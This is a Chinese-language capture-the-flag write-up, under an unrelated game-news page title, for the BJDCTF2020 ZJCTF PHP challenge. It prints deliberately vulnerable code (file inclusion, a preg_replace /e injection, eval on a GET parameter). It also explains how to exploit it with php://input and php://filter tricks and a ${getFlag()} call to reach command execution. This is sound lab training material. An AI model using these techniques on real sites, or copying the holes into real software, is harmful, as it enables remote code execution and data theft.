1. 程式人生 > 資訊 >索尼 PlayStation 新一期 State of Play 將於 10 月 28 日舉行,公佈多款第三方遊戲

索尼 PlayStation 新一期 State of Play 將於 10 月 28 日舉行,公佈多款第三方遊戲

[BJDCTF2020]ZJCTF,不過如此

開啟靶場

直接給了原始碼

<?php

error_reporting(0);
$text = $_GET["text"];
$file = $_GET["file"];
if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag/",$file)){
        die("Not now!");
    }

    include($file);  //next.php
    
}
else{
    highlight_file(__FILE__);
}
?>

有兩個引數,text引數用來開啟一個檔案,檔案內容必須為I have a dream才能通過檢查

這種情況可以想到用PHP的偽協議input來封裝這個檔案,具體方法

text傳參php://input,在post部分寫入檔案內容I have a dream

點選提交可以發現,輸出了一句話,這句話就是file_get_contents函式的輸出結果,證明我們已經通過了if的檢查

接著讀程式碼可以發現,file引數的傳值中不能出現flag,下面還給出了一個提示:next.php,但不知道里面寫了啥,所以可以繼續利用PHP偽協議檢視檔案內容,具體方法

構造?file=php://filter/read=convert.base64-encode/resource=next.php&text=php://input,即可將檔案內容以base64編碼輸出,最後只需解碼即可

<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;

function complex($re, $str) {
    return preg_replace(
        '/(' . $re . ')/ei',	//修正符:e 配合函式preg_replace()使用, 可以把匹配來的字串當作正則表示式執行;
        'strtolower("\\1")',
        $str
    );
}


foreach($_GET as $re => $str) {
    echo complex($re, $str). "\n";
}

function getFlag(){
	@eval($_GET['cmd']);
}

$_GET as $re => $str 的理解:

這是一個動態賦值的過程,即會將get請求中的引數名作為鍵$re,引數對應的值作為鍵值$str

正則匹配/e的問題

http://www.xinyueseo.com/websecurity/158.html

讀了好幾遍,真的不能理解,於是只能在本地測試嘗試理解

多次本地測試總結:

程式碼環境:

<?php
function complexStrtolower( $regex, $value){
    return preg_replace('/('. $regex.')/ei','strtolower("\\1")',$value);
}
foreach ($_GET as $regex => $value){
    echo complexStrtolower($regex, $value)."n";
}
?>

程式碼環境:

<?php
var_dump(preg_replace('/(.*)/ei','\1','${phpinfo()}'));
?>

程式碼:

<?php
var_dump(strtolower("\\1"));
?>

程式碼:

<?php
var_dump(preg_replace('/(hello)/ei','\1','hello world!'));
?>

程式碼:

<?php
var_dump(preg_replace('/(hello)/ei','goodby','hello world!'));
?>

大概瞭解了,正則匹配中\1代表自己,對應上面就是hello被替換成了自己

繼續測試

程式碼:

<?php
var_dump(preg_replace('/(.*)/ei','\1','${phpinfo()}'));
?>

程式碼:

<?php
function die1(){
    die("!!!!!");
}

var_dump(preg_replace('/(.*)/ei','\1','${die1()}'));
?>

測試發現在${}中可以呼叫函式

這樣的話,那這題就有思路了,我們可以呼叫getFlag()函式,再傳入cmd引數執行命令即可

由於上面那篇大佬的文章也提到了,對於傳入的非法的 $_GET 陣列引數名,會將其轉換成下劃線,所以直接傳.*會無效

但用大佬給的方法,將.*改成\S*也可以輕鬆繞過,於是重新構造payload,訪問物件此時應該變成next.php了

即可拿到flag!